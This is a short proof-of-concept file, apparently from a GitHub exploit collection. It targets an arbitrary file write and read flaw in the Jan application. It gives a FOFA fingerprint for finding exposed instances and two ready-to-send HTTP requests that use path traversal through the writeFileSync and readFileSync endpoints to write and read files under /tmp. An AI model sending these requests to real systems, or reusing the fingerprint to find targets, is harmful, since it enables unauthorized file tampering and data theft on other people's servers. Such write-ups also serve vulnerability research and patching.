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+## Jan任意文件上传漏洞
+
+## fofa
+```
+icon_hash="-165268926"
+```
+
+
+## poc
+```
+POST /v1/app/writeFileSync HTTP/1.1
+Host: {{Host}}
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
+Accept: */*
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate, br
+Referer: http://<IP>:<Port>
+contentType: application/json
+Content-Type: text/plain;charset=UTF-8
+Content-Length: 35
+Origin: http://<IP>:<Port>
+Connection: close
+
+["/../../../../../tmp/a.txt","abc"]
+
+
+POST /v1/app/readFileSync HTTP/1.1
+Host: {{Host}}
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
+Accept: */*
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate, br
+Referer: http://<IP>:<Port>
+contentType: application/json
+Content-Type: text/plain;charset=UTF-8
+Content-Length: 48
+Origin: http://<IP>:<Port>
+Connection: close
+
+["file:/../../../../../tmp/a.txt","utf-8"]
+```
+![image](https://github.com/wy876/POC/assets/139549762/0558b716-4096-4789-a8cb-2bcebab4a009)
+
+![image](https://github.com/wy876/POC/assets/139549762/a6bb5774-5e79-4b2a-86a7-e2a60b333fa9)
+
+